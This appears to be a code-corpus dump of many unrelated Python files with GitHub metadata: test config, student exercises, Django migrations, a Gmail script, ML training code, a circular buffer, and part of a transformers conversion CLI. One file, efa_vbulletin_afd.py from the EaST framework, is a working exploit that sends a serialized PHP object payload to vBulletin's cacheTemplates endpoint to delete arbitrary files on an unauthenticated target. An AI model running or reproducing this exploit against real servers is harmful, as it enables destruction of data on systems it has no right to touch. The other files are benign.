] | permissive | GoogleCloudPlatform/python-docs-samples | d2a251805fbeab15d76ed995cf200727f63f887d | 44e819e713c3885e38c99c16dc73b7d7478acfe8 | refs/heads/main | 2023-08-28T12:52:01.712293 | 2023-08-28T11:18:28 | 2023-08-28T11:18:28 | 35,065,876 | 7,035 | 7,593 | Apache-2.0 | 2023-09-14T20:20:56 | 2015-05-04T23:26:13 | Jupyter Notebook | UTF-8 | Python | false | false | 1,892 | py | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Default TEST_CONFIG_OVERRIDE for python repos.
# You can copy this file into your directory, then it will be imported from
# the noxfile.py.
# The source of truth:
# https://github.com/GoogleCloudPlatform/python-docs-samples/blob/main/noxfile_config.py
TEST_CONFIG_OVERRIDE = {
# You can opt out from the test for specific Python versions.
"ignored_versions": ["2.7", "3.8", "3.9", "3.10", "3.11"],
# Old samples are opted out of enforcing Python type hints
# All new samples should feature them
"enforce_type_hints": True,
# An envvar key for determining the project id to use. Change it
# to 'BUILD_SPECIFIC_GCLOUD_PROJECT' if you want to opt in using a
# build specific Cloud project. You can also use your own string
# to use your own Cloud project.
"gcloud_project_env": "GOOGLE_CLOUD_PROJECT",
# 'gcloud_project_env': 'BUILD_SPECIFIC_GCLOUD_PROJECT',
# If you need to use a specific version of pip,
# change pip_version_override to the string representation
# of the version number, for example, "20.2.4"
"pip_version_override": None,
# A dictionary you want to inject into your test. Don't put any
# secrets here. These values will override predefined values.
"envs": {"CLOUD_STORAGE_BUCKET": "python-docs-samples-tests-public"},
}
| [
"[email protected]"
] | |
764482f357be9bb1f771028e738e7a9b659a4c28 | f361126ee099303113b5ed3cc0e838bd01a9e41b | /Semana3/apoio_pense_python_01.py | 70ff1f0e90b4ccda9dbca5bab5a6967a4df4cce8 | [] | no_license | ju-c-lopes/Univesp_Algoritmos_II | e1ce5557d342ea75fe929cf7b207e633f9aa89cd | 5d4eec368be91c18f0ae5c17d342e6eb0f1c79be | refs/heads/master | 2023-06-05T11:09:25.415719 | 2021-07-07T22:26:53 | 2021-07-07T22:26:53 | 383,600,096 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,333 | py | def list_sum(num_list):
the_sum = 0
for i in num_list:
the_sum = the_sum + i
return the_sum
print(f'Função {list_sum([1, 3, 5, 7, 9])}')
soma_1 = ((((1 + 3) + 5) + 7) + 9)
print(f'Soma 1 "((((1 + 3) + 5) + 7) + 9)" = {soma_1}')
soma_2 = (1 + (3 + (5 + (7 + 9))))
print(f'Soma 2 "(1 + (3 + (5 + (7 + 9))))" = {soma_2}')
print("EXPLICAÇÃO:\n")
print("total = (1 + (3 + (5 + '_______'))) # resolve primeiro o laço mais interno\n"
". (7 + 9)\n"
". total = (1 + (3 + '________')) # resolve próximo laço mais interno com a soma anterior\n"
". (5 + 16)\n"
". total = (1 + '________') # resolve próximo laço mais interno com a soma anterior\n"
". (3 + 21)\n"
". total = (1 + 24) # por fim, resolve a última soma, resultando o total final\n"
".\n"
". total = 25")
def soma_lista(num_list):
if len(num_list) == 1:
return num_list[0]
else:
return num_list + list_sum(num_list[1:])
print(f'\n{list_sum([1, 3, 5, 7, 9])}')
print("""
TESTE:
def soma(a, b=0):
return a + b
print(soma(9, soma(7, soma(5, soma(3, soma(1))))))
""")
def soma(a, b=0):
return a + b
print(soma(9, soma(7, soma(5, soma(3, soma(1))))))
| [
"[email protected]"
] | |
272fe74eaf3eb220407cf3f170f25e94cf1d1ea6 | 37908440ce625e4ad15c7fdae0f5c42a0f7f06cd | /exploits/efa_vbulletin_afd.py | 8b51cf55eb2f9dbda403b2f0c0a4eaa2fdf4901a | [] | no_license | sec-js/EaST | daff1c84e73e43825a87e3c2c1ec63d05d73141b | 4b1ab5333022bbd476e9a43f13c4a4b559488752 | refs/heads/master | 2023-01-07T13:14:28.480980 | 2022-09-18T18:21:19 | 2022-09-18T18:21:19 | 337,508,843 | 0 | 0 | null | 2022-12-21T23:26:22 | 2021-02-09T19:09:47 | null | UTF-8 | Python | false | false | 3,347 | py | #! /usr/bin/env python
# -*- coding: utf_8 -*-
# The exploit is a part of EAST Framework - use only under the license agreement specified in LICENSE.txt in your EAST Framework distribution
import sys
import os
import urllib2
from collections import OrderedDict
sys.path.append('./core')
from Sploit import Sploit
INFO = {}
INFO['NAME'] = "efa_vbulletin_afd"
INFO['DESCRIPTION'] = "vBulletin cacheTemplates - Unauthenticated Remote Arbitrary File Deletion"
INFO['VENDOR'] = "https://www.vbulletin.com/"
INFO['DOWNLOAD_LINK'] = ''
INFO['LINKS'] = ['https://blogs.securiteam.com/index.php/archives/3573']
INFO["CVE Name"] = ""
INFO["NOTES"] = """By sending POST request an unauthenticated attacker can delete files from the victims server
"""
INFO['CHANGELOG'] = "15 Dec 2017. Written by Gleg team."
INFO['PATH'] = 'Exploits/Web/'
# Must be in every module, to be set by framework
OPTIONS = OrderedDict()
OPTIONS["HOST"] = "127.0.0.1", dict(description = 'Target IP')
OPTIONS["PORT"] = 80, dict(description = 'Target port')
OPTIONS["BASEPATH"] = '/vb', dict(description = 'Basepath')
OPTIONS['PATH'] = '/path/to/file', dict(description = 'File to delete')
OPTIONS['SSL'] = False, dict(description = 'Use SSL')
class exploit(Sploit):
def __init__(self, host = "", port = 0, logger = None):
Sploit.__init__(self, logger = logger)
self.name = INFO['NAME']
self.host = host
self.port = port
self.ssl = False
self.basepath = "/"
self.path = OPTIONS['PATH']
def args(self):
self.args = Sploit.args(self, OPTIONS)
self.host = self.args.get('HOST', self.host)
self.port = int(self.args.get('PORT', self.port))
self.path = self.args.get('PATH', OPTIONS['PATH'])
self.ssl = bool(self.args.get('SSL', False))
self.basepath = self.args.get('BASEPATH', self.basepath)
if self.ssl:
context = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
opener = urllib2.build_opener(urllib2.HTTPSHandler(context=context))
urllib2.install_opener(opener)
def make_url(self, path = ''):
return '{}{}:{}{}{}'.format(self.prot(), self.host, self.port, self.basepath, path)
def prot(self):
return self.ssl and 'https://' or 'http://'
def run(self):
self.args()
self.log("Attacking {}".format(self.host))
url = self.make_url('/ajax/api/template/cacheTemplates')
data = 'templates[]=1&templateidlist=O:20:"vB_Image_ImageMagick":1:{s:20:"%00*%00imagefilelocation";s:LEN:"FILE";}'
data = data.replace('LEN', str(len(self.path)))
data = data.replace('FILE', self.path)
self.log('Try to delete file ' + self.path)
try:
request = urllib2.Request(url, data)
fd = urllib2.urlopen(request)
content = fd.read()
except Exception as e:
self.log(e)
self.finish(False)
self.finish(True)
if __name__ == '__main__':
"""
By now we only have the tool mode for exploit..
Later we would have standalone mode also.
"""
print "Running exploit %s .. " % INFO['NAME']
e = exploit('', 80)
e.run()
| [
"[email protected]"
] | |
dd63d8ff2276e64b1806676cac723baf74f0ecb7 | 306afd5282d9c24d58297478a1728a006c29e57e | /lintcode/lintcode_0547_Intersection_of_Two_Arrays.py | ddcecd3100ee335a8a14d3b209fb6a19895c1786 | [] | no_license | ytatus94/Leetcode | d2c1fe3995c7a065139f772569485dc6184295a9 | 01ee75be4ec9bbb080f170cb747f3fc443eb4d55 | refs/heads/master | 2023-06-08T17:32:34.439601 | 2023-05-29T04:33:19 | 2023-05-29T04:33:19 | 171,921,974 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 600 | py | from typing import (
List,
)
class Solution:
"""
@param nums1: an integer array
@param nums2: an integer array
@return: an integer array
we will sort your return value in output
"""
def intersection(self, nums1: List[int], nums2: List[int]) -> List[int]:
# write your code here
if not nums1 or not nums2:
return []
hash_set = set()
for i in nums1:
hash_set.add(i)
result = set()
for i in nums2:
if i in hash_set:
result.add(i)
return list(result)
| [
"[email protected]"
] | |
1a770f79fd81c17269f4ed63636862fb554d30ca | 0f205fa73d927a15e27f065c6a198935f90d3ada | /src/pycones/proposals/migrations/0001_initial.py | 50994be6deb17fc6ba0539338afcce03c1f8e433 | [] | no_license | python-spain/web-pycones | b27bfb630cb6eafb8e1a5aadfa7b35368f81325a | 942516169738689f542b0856842372088f34fc2f | refs/heads/2020 | 2023-03-30T06:01:30.809205 | 2020-03-23T22:08:27 | 2020-03-23T22:08:27 | 80,434,627 | 3 | 4 | null | 2021-04-08T20:55:32 | 2017-01-30T15:36:49 | CSS | UTF-8 | Python | false | false | 4,690 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.10.5 on 2017-01-31 12:32
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
import django.utils.timezone
import markupfield.fields
import model_utils.fields
import taggit_autosuggest.managers
class Migration(migrations.Migration):
initial = True
dependencies = [
('speakers', '0001_initial'),
('taggit', '0002_auto_20150616_2121'),
]
operations = [
migrations.CreateModel(
name='Proposal',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('created', model_utils.fields.AutoCreatedField(default=django.utils.timezone.now, editable=False, verbose_name='created')),
('modified', model_utils.fields.AutoLastModifiedField(default=django.utils.timezone.now, editable=False, verbose_name='modified')),
('audience_level', models.CharField(choices=[('basic', 'Básico'), ('intermediate', 'Intermedio'), ('advanced', 'Avanzado')], default='basic', max_length=32, null=True, verbose_name='Nivel de la audiencia')),
('language', models.CharField(choices=[('es', 'Español'), ('en', 'Inglés')], default='es', max_length=2, verbose_name='Idioma')),
('duration', models.PositiveIntegerField(blank=True, choices=[(15, '15 minutos'), (30, '30 minutos')], default=30, null=True, verbose_name='Duración')),
('title', models.CharField(max_length=100, verbose_name='Título')),
('description', models.TextField(help_text='Si tu propuesta se acepta esto se hará público, y se incluirá en el programa. Debería ser un párrafo, con un máximo de 500 caracteres.', max_length=500, verbose_name='Breve descripción')),
('abstract', markupfield.fields.MarkupField(blank=True, default='', help_text="Resumen detallado. Se hará pública si la propuesta se acepta. Edita usando <a href='http://daringfireball.net/projects/markdown/basics' target='_blank'>Markdown</a>.", rendered_field=True, verbose_name='Resumen detallado')),
('abstract_markup_type', models.CharField(choices=[('', '--'), ('markdown', 'markdown')], default='markdown', max_length=30)),
('additional_notes', markupfield.fields.MarkupField(blank=True, default='', help_text="Cualquier cosa que te gustaría hacer saber a los revisores para que la tengan en cuenta al ahora de hacer la selección. Esto no se hará público. Edita usando <a href='http://daringfireball.net/projects/markdown/basics' target='_blank'>Markdown</a>.", rendered_field=True, verbose_name='Notas adicionales')),
('_abstract_rendered', models.TextField(editable=False)),
('additional_notes_markup_type', models.CharField(choices=[('', '--'), ('markdown', 'markdown')], default='markdown', max_length=30)),
('cancelled', models.BooleanField(default=False)),
('_additional_notes_rendered', models.TextField(editable=False)),
('notified', models.BooleanField(default=False)),
('accepted', models.NullBooleanField(default=None, verbose_name='Aceptada')),
('accepted_notified', models.BooleanField(default=False, verbose_name='Notificación de aceptación enviada')),
('code', models.CharField(blank=True, max_length=64, null=True)),
],
options={
'abstract': False,
},
),
migrations.CreateModel(
name='ProposalKind',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(max_length=100, verbose_name='Name')),
('slug', models.SlugField()),
],
),
migrations.AddField(
model_name='proposal',
name='kind',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='proposals.ProposalKind', verbose_name='Tipo de propuesta'),
),
migrations.AddField(
model_name='proposal',
name='speakers',
field=models.ManyToManyField(related_name='proposals', to='speakers.Speaker'),
),
migrations.AddField(
model_name='proposal',
name='tags',
field=taggit_autosuggest.managers.TaggableManager(blank=True, help_text='Lista de etiquetas separadas por comas.', through='taggit.TaggedItem', to='taggit.Tag', verbose_name='Etiquetas'),
),
]
| [
"[email protected]"
] | |
643ff60586427861267b2eb9c8e880763094d83e | 4609ee89172d6f5f0b0bb59faf13f67f8a4bad28 | /gclient/mark_as_read.py | 21fb6040a8bf72d2e955bbfe3a497187132b5985 | [] | no_license | QuentinDuval/GmailClient | 82cf53f4d412280af608b9d90d50eded75b393e1 | c0a69fe75d22d1ddd932de16107d799473c68e6b | refs/heads/master | 2020-06-10T21:17:02.591884 | 2019-06-25T17:09:40 | 2019-06-25T17:09:40 | 193,750,874 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,861 | py | from __future__ import print_function
from gclient.authentication import *
from googleapiclient.discovery import build
from typing import List
class Classification:
def __init__(self):
self.creds = get_credentials()
self.service = build('gmail', 'v1', credentials=self.creds)
def get_all_labels(self) -> List[str]:
"""
Returns all the labels used to classify mails
"""
results = self.service.users().labels().list(userId='me').execute()
return list(results.get('labels', []))
def list_unread_messages(self, batch_size=500):
"""
Query GMAIL API to get the list of messages matching the "is unread" criteria
"""
answer = self.service.users().messages().list(userId='me', q='is:unread', maxResults=batch_size).execute()
while answer['messages']:
yield answer
if 'nextPageToken' not in answer:
break
next_page_token = answer['nextPageToken']
answer = self.service.users().messages().list(userId='me', pageToken=next_page_token).execute()
def mark_as_read(self, message_ids: List[str]):
"""
Ask the GMAIL API to mark as "read" all the messages given as parameters
"""
return self.service.users().messages().batchModify(userId='me', body={
"removeLabelIds": ["UNREAD"],
"ids": message_ids,
"addLabelIds": []
}).execute()
def mark_all_as_read(self):
for answer in self.list_unread_messages():
message_ids = [message['id'] for message in answer['messages']]
print("Marked", message_ids)
self.mark_as_read(message_ids)
if __name__ == '__main__':
classifier = Classification()
print(classifier.get_all_labels())
print(classifier.mark_all_as_read())
| [
"[email protected]"
] | |
a57fa2b7364d63958571fb4e0853f4351b795d94 | 0add7953d3e3ce2df9e8265102be39b758579753 | /built-in/TensorFlow/Research/reinforcement-learning/ModelZoo_QMIX_TensorFlow/xt/benchmark/configs/default_xt.py | 3f596108539b438663d6aaf4a5988cd8513e8366 | [
"Apache-2.0"
] | permissive | Huawei-Ascend/modelzoo | ae161c0b4e581f8b62c77251e9204d958c4cf6c4 | df51ed9c1d6dbde1deef63f2a037a369f8554406 | refs/heads/master | 2023-04-08T08:17:40.058206 | 2020-12-07T08:04:57 | 2020-12-07T08:04:57 | 319,219,518 | 1 | 1 | Apache-2.0 | 2023-03-24T22:22:00 | 2020-12-07T06:01:32 | Python | UTF-8 | Python | false | false | 428 | py | """
default configure for benchmark function
"""
class XtBenchmarkConf(object):
"""benchmark conf, user also can re-set it"""
default_db_root = "/tmp/.xt_data/sqlite" # could set path by yourself
default_id = "xt_default_benchmark"
defalut_log_path = "/tmp/.xt_data/logs"
default_tb_path = "/tmp/.xt_data/tensorboard"
default_plot_path = "/tmp/.xt_data/plot"
default_train_interval_per_eval = 200
| [
"[email protected]"
] | |
67ffa6937e05e7704b90376cbd3bb100ea85a51e | 901944f407f4a06a4c4027d6139ce21165976857 | /neural_net/Neural_Net_CC/main.py | 41bce1152dcd33c242b3bd32556f6a2f50ee5a48 | [] | no_license | chriscremer/Other_Code | a406da1d567d63bf6ef9fd5fbf0a8f177bc60b05 | 7b394fa87523803b3f4536b316df76cc44f8846e | refs/heads/master | 2021-01-17T02:34:56.215047 | 2020-05-26T13:59:05 | 2020-05-26T13:59:05 | 34,680,279 | 7 | 4 | null | null | null | null | UTF-8 | Python | false | false | 2,354 | py |
import numpy as np
import csv
import random
import pickle
from NN_cc import Network
from costs import *
from activations import *
from sklearn import preprocessing
if __name__ == "__main__":
####################################
#Load data
####################################
MY_DATASET = '/data1/morrislab/ccremer/simulated_data/simulated_classification_data_100_samps_1000_feats_3_distinct.csv'
X = []
y = []
header = True
with open(MY_DATASET, 'r') as f:
csvreader = csv.reader(f, delimiter=',', skipinitialspace=True)
for row in csvreader:
if header:
header = False
continue
X.append(map(float,row[1:-1]))
if str(row[-1]) == '0.0':
y.append([1.0,0.0])
else:
y.append([0.0,1.0])
X = np.array(X)
y = np.array(y)
#preprocess
preprocessor = preprocessing.StandardScaler()
preprocessor.fit(X)
X = preprocessor.transform(X)
#X_test = preprocessor.transform(X_test)
training_data= []
for i in range(0,70):
training_data.append((np.array(X[i], ndmin=2).T, np.array(y[i], ndmin=2).T))
evaluation_data= []
for i in range(70,100):
evaluation_data.append((np.array(X[i], ndmin=2).T, np.array(y[i], ndmin=2).T))
print 'Numb of Samples: ' + str(len(training_data))
print 'X shape: ' + str(training_data[0][0].shape)
print 'y shape: ' + str(training_data[0][1].shape)
####################################
#Train Model
####################################
#load pickled model
weights_n_biases = pickle.load( open( "saved/w_n_b.p", "rb" ) )
#weights_n_biases = None
#dimension of input, hidden layer, dimension of output
net = Network(layer_sizes=[len(X[0]), 3, len(y[0])],
activations=[Sigmoid_Activation, Sigmoid_Activation],
cost=CrossEntropyCost,
regularization='l1',
weights_n_biases=weights_n_biases)
evaluation_cost, evaluation_accuracy, training_cost, training_accuracy = net.SGD(training_data=training_data,
epochs=200,
mini_batch_size=2,
learn_rate=0.001,
lmbda=0.001,
monitor_training_cost=True,
monitor_training_accuracy=True,
evaluation_data=evaluation_data,
monitor_evaluation_cost=True,
monitor_evaluation_accuracy=True
)
| [
"[email protected]"
] | |
3b9fe333e7d4065f42d1f796e206238245df2998 | 99d7a6448a15e7770e3b6f3859da043300097136 | /src/database/orms/api.py | e8c05566f0edc99644329043e8244fbdd6556648 | [] | no_license | softtrainee/arlab | 125c5943f83b37bc7431ae985ac7b936e08a8fe4 | b691b6be8214dcb56921c55daed4d009b0b62027 | refs/heads/master | 2020-12-31T07:54:48.447800 | 2013-05-06T02:49:12 | 2013-05-06T02:49:12 | 53,566,313 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 866 | py | #===============================================================================
# Copyright 2011 Jake Ross
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#===============================================================================
from bakeout_orm import *
from device_scan_orm import *
from power_map_orm import *
from power_orm import *
from video_orm import *
| [
"jirhiker@localhost"
] | jirhiker@localhost |
149aed53ef04fe6d76ede1ef8340dd96c015d78c | e9cdf644f02c5f90e5af4ebcdfbd49e5739b379e | /lists/urls.py | fe220099563a5549be4bb60720a1f07720c68cff | [] | no_license | jaeyholic/airbnb-clone | 14e661012f3650a7c1486e43bbcb314eb0ac1ba1 | 68c1815e2b62bbf70dfe5a4a580d970015eaccc2 | refs/heads/master | 2022-12-13T08:11:04.759907 | 2020-02-12T02:22:28 | 2020-02-12T02:22:28 | 236,361,148 | 0 | 0 | null | 2022-12-10T17:29:25 | 2020-01-26T19:04:10 | Python | UTF-8 | Python | false | false | 143 | py | from django.urls import path
from . import views
app_name = "trips"
urlpatterns = [
path("", views.ListView.as_view(), name="trips"),
]
| [
"[email protected]"
] | |
3b2c8a39c47fb25067878ad79635a6e28b0ae266 | f6e03bc2747e8d1ca686b25e7f34a429886ba3f3 | /machinelearning/cbct/build_cbct_learner.py | 073853c6c8166f3e77a0a6c519c82cc5d099f2dc | [
"MIT"
] | permissive | randlet/pylinac | 2b3913d7d549b985a074ddcf291d018cfb1dd5d2 | df5dd913f429536180d998012b4f5cef8d443f88 | refs/heads/master | 2021-06-11T08:50:36.472577 | 2019-06-03T14:23:17 | 2019-06-03T14:23:17 | 151,657,740 | 1 | 0 | MIT | 2018-10-05T01:40:17 | 2018-10-05T01:40:16 | null | UTF-8 | Python | false | false | 276 | py | import os.path as osp
from machinelearning.tools import train
path = osp.join(osp.dirname(__file__), 'data', 'CatPhan 600')
parameters = {
'kernel': ['linear'],
'C': [1, 0.1, 5, 10, 50],
}
train(path, train_size=0.95, parameters=parameters, clf_name='catphan600')
| [
"[email protected]"
] | |
6a2be014eb9649c77461f9d7117a20e1f10fb3d6 | 0502750293383c6dae2aaf4013717d9c83f52c62 | /exercism/python/archive/circular-buffer/circular_buffer.py | c143a3cdcdf9880436d13286be272c674f6461d5 | [] | no_license | sebito91/challenges | fcfb680e7fc1abfa9fea9cd5f108c42795da4679 | b4f2d3b7f8b7c78f02b67d67d4bcb7fad2b7e284 | refs/heads/master | 2023-07-08T15:43:42.850679 | 2023-06-26T19:38:51 | 2023-06-26T19:38:51 | 117,160,720 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,199 | py | """ Mdolue to implement a circular-buffer """
# -*- coding: utf-8 -*-
from __future__ import unicode_literals
class BufferFullException(Exception):
""" define execption when buffer is full """
def __init__(self, message=None):
if not message:
message = "buffer is full"
super(BufferFullException, self).__init__(message)
class BufferEmptyException(Exception):
""" define exception when buffer is empty """
def __init__(self, message=None):
if not message:
message = "buffer is empty"
super(BufferEmptyException, self).__init__(message)
class CircularBuffer(object):
""" definition of the back CircularBuffer class """
def __init__(self, datasize):
if datasize <= 0:
raise ValueError("improper size for CircularBuffer: {}".format(datasize))
self.buffer = [None] * datasize
self.capacity = datasize
self.current = (0, 0)
def get_elem(self, index):
""" helper function to increment counters """
temp = self.current[0]
if index == 0:
self.current = ((self.current[0] + 1) % (self.capacity), self.current[1])
else:
temp = self.current[1]
self.current = (self.current[0], (self.current[1] + 1) % (self.capacity))
return temp
def read(self):
""" read function as part of CircularBuffer """
if len(self.buffer) < 1 or all(each is None for each in self.buffer):
raise BufferEmptyException("tried reading from empty buffer")
idx = self.get_elem(0)
data = self.buffer[idx]
self.buffer[idx] = None
return data
def write(self, data):
""" write function as part of CircularBuffer """
if self.current[0] == self.current[1] and self.buffer[self.current[0]]:
raise BufferFullException("cannot add {} to full buffer".format(data))
self.buffer[self.get_elem(1)] = data
def overwrite(self, data):
""" overwrite the oldest data first """
self.buffer[self.get_elem(0)] = data
def clear(self):
""" clear out the buffer """
self.buffer = [None] * self.capacity
| [
"[email protected]"
] | |
d6c6f07c20d59e2954fa76d05a86559f3dc82759 | a31c54cb9b27e315567ed865e07cb720fc1e5c8e | /revenge/techniques/native_timeless_tracer/timeless_trace_item.py | f94c99a65e749528e119e21889e9b5142e3c5bcd | [] | no_license | bannsec/revenge | 212bc15e09f7d864c837a1829b3dc96410e369d3 | 2073b8fad76ff2ba21a5114be54e959297aa0cf9 | refs/heads/master | 2021-06-25T12:26:02.609076 | 2020-05-29T15:46:45 | 2020-05-29T15:46:45 | 188,461,358 | 51 | 6 | null | null | null | null | UTF-8 | Python | false | false | 2,456 | py |
import logging
logger = logging.getLogger(__name__)
from ... import common
class NativeTimelessTraceItem(object):
def __init__(self, process, context=None, depth=None, previous=None):
"""Class describing a single step of NativeTimelessTracing
Args:
process (revenge.Process): Process object
context (dict): Dictionary describing this step's context
depth (int): Current call depth
previous (NativeTimelessTraceItem, optional): Previous timeless
trace item to use for differential generation
"""
self._process = process
self._previous = previous
self.context = context
self.depth = depth
def __repr__(self):
attrs = ["NativeTimelessTraceItem"]
attrs.append(str(self.context.pc.next.thing))
return "<{}>".format(' '.join(attrs))
@classmethod
@common.validate_argument_types(snapshot=dict)
def from_snapshot(klass, process, snapshot, previous=None):
"""Creates a NativeTimelessTraceItem from a snapshot returned by timeless_snapshot()
Args:
process (revenge.Process): Process object
snapshot (dict): Timeless snapshot dictionary
previous (NativeTimelessTraceItem, optional): Previous timeless
trace item to use for differential generation
"""
if "is_timeless_snapshot" not in snapshot or not snapshot["is_timeless_snapshot"]:
raise RevengeInvalidArgumentType("from_snapshot does not appear to be timeless_snapshot dictionary.")
context = snapshot["context"]
depth = snapshot["depth"]
return klass(process, context=context, depth=depth, previous=previous)
@property
def instruction(self):
"""Returns the assembly instruction object for this item."""
return self.context.pc.next.thing
@property
def context(self):
return self.__context
@context.setter
@common.validate_argument_types(context=(dict, type(None)))
def context(self, context):
diff = self._previous.context if self._previous is not None else None
# TODO: This is an assumption...
if isinstance(context, dict):
self.__context = CPUContext(self._process, diff=diff, **context)
elif context is None:
self.__context = None
from ...exceptions import *
from ...cpu import CPUContext
| [
"[email protected]"
] | |
fee4d2124eac9fad1e5d0bc58e3c6649164ab65c | e245035c7bff120d5f7a8a26412f14d11a77a46f | /huggingface_transformer_src/src/transformers/commands/convert.py | 2ca5a57ca36d0a5c150959f2f1b7daaec455c17a | [
"Apache-2.0"
] | permissive | fuxuelinwudi/R-Drop | 82f27e623f319065b75b9e2b7ebe285c2aa0582b | 88bba6386f2edf7aa45ae6795103dbf4be085e99 | refs/heads/main | 2023-06-06T14:28:55.773778 | 2021-06-27T05:39:27 | 2021-06-27T05:39:27 | 381,313,887 | 2 | 0 | MIT | 2021-06-29T09:43:58 | 2021-06-29T09:43:58 | null | UTF-8 | Python | false | false | 7,555 | py | # Copyright 2020 The HuggingFace Team. All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from argparse import ArgumentParser, Namespace
from ..utils import logging
from . import BaseTransformersCLICommand
def convert_command_factory(args: Namespace):
"""
Factory function used to convert a model TF 1.0 checkpoint in a PyTorch checkpoint.
Returns: ServeCommand
"""
return ConvertCommand(
args.model_type, args.tf_checkpoint, args.pytorch_dump_output, args.config, args.finetuning_task_name
)
IMPORT_ERROR_MESSAGE = """
transformers can only be used from the commandline to convert TensorFlow models in PyTorch, In that case, it requires
TensorFlow to be installed. Please see https://www.tensorflow.org/install/ for installation instructions.
"""
class ConvertCommand(BaseTransformersCLICommand):
@staticmethod
def register_subcommand(parser: ArgumentParser):
"""
Register this command to argparse so it's available for the transformer-cli
Args:
parser: Root parser to register command-specific arguments
"""
train_parser = parser.add_parser(
"convert",
help="CLI tool to run convert model from original "
"author checkpoints to Transformers PyTorch checkpoints.",
)
train_parser.add_argument("--model_type", type=str, required=True, help="Model's type.")
train_parser.add_argument(
"--tf_checkpoint", type=str, required=True, help="TensorFlow checkpoint path or folder."
)
train_parser.add_argument(
"--pytorch_dump_output", type=str, required=True, help="Path to the PyTorch saved model output."
)
train_parser.add_argument("--config", type=str, default="", help="Configuration file path or folder.")
train_parser.add_argument(
"--finetuning_task_name",
type=str,
default=None,
help="Optional fine-tuning task name if the TF model was a finetuned model.",
)
train_parser.set_defaults(func=convert_command_factory)
def __init__(
self,
model_type: str,
tf_checkpoint: str,
pytorch_dump_output: str,
config: str,
finetuning_task_name: str,
*args
):
self._logger = logging.get_logger("transformers-cli/converting")
self._logger.info(f"Loading model {model_type}")
self._model_type = model_type
self._tf_checkpoint = tf_checkpoint
self._pytorch_dump_output = pytorch_dump_output
self._config = config
self._finetuning_task_name = finetuning_task_name
def run(self):
if self._model_type == "albert":
try:
from ..models.albert.convert_albert_original_tf_checkpoint_to_pytorch import (
convert_tf_checkpoint_to_pytorch,
)
except ImportError:
raise ImportError(IMPORT_ERROR_MESSAGE)
convert_tf_checkpoint_to_pytorch(self._tf_checkpoint, self._config, self._pytorch_dump_output)
elif self._model_type == "bert":
try:
from ..models.bert.convert_bert_original_tf_checkpoint_to_pytorch import (
convert_tf_checkpoint_to_pytorch,
)
except ImportError:
raise ImportError(IMPORT_ERROR_MESSAGE)
convert_tf_checkpoint_to_pytorch(self._tf_checkpoint, self._config, self._pytorch_dump_output)
elif self._model_type == "funnel":
try:
from ..models.funnel.convert_funnel_original_tf_checkpoint_to_pytorch import (
convert_tf_checkpoint_to_pytorch,
)
except ImportError:
raise ImportError(IMPORT_ERROR_MESSAGE)
convert_tf_checkpoint_to_pytorch(self._tf_checkpoint, self._config, self._pytorch_dump_output)
elif self._model_type == "t5":
try:
from ..models.t5.convert_t5_original_tf_checkpoint_to_pytorch import convert_tf_checkpoint_to_pytorch
except ImportError:
raise ImportError(IMPORT_ERROR_MESSAGE)
convert_tf_checkpoint_to_pytorch(self._tf_checkpoint, self._config, self._pytorch_dump_output)
elif self._model_type == "gpt":
from ..models.openai.convert_openai_original_tf_checkpoint_to_pytorch import (
convert_openai_checkpoint_to_pytorch,
)
convert_openai_checkpoint_to_pytorch(self._tf_checkpoint, self._config, self._pytorch_dump_output)
elif self._model_type == "transfo_xl":
try:
from ..models.transfo_xl.convert_transfo_xl_original_tf_checkpoint_to_pytorch import (
convert_transfo_xl_checkpoint_to_pytorch,
)
except ImportError:
raise ImportError(IMPORT_ERROR_MESSAGE)
if "ckpt" in self._tf_checkpoint.lower():
TF_CHECKPOINT = self._tf_checkpoint
TF_DATASET_FILE = ""
else:
TF_DATASET_FILE = self._tf_checkpoint
TF_CHECKPOINT = ""
convert_transfo_xl_checkpoint_to_pytorch(
TF_CHECKPOINT, self._config, self._pytorch_dump_output, TF_DATASET_FILE
)
elif self._model_type == "gpt2":
try:
from ..models.gpt2.convert_gpt2_original_tf_checkpoint_to_pytorch import (
convert_gpt2_checkpoint_to_pytorch,
)
except ImportError:
raise ImportError(IMPORT_ERROR_MESSAGE)
convert_gpt2_checkpoint_to_pytorch(self._tf_checkpoint, self._config, self._pytorch_dump_output)
elif self._model_type == "xlnet":
try:
from ..models.xlnet.convert_xlnet_original_tf_checkpoint_to_pytorch import (
convert_xlnet_checkpoint_to_pytorch,
)
except ImportError:
raise ImportError(IMPORT_ERROR_MESSAGE)
convert_xlnet_checkpoint_to_pytorch(
self._tf_checkpoint, self._config, self._pytorch_dump_output, self._finetuning_task_name
)
elif self._model_type == "xlm":
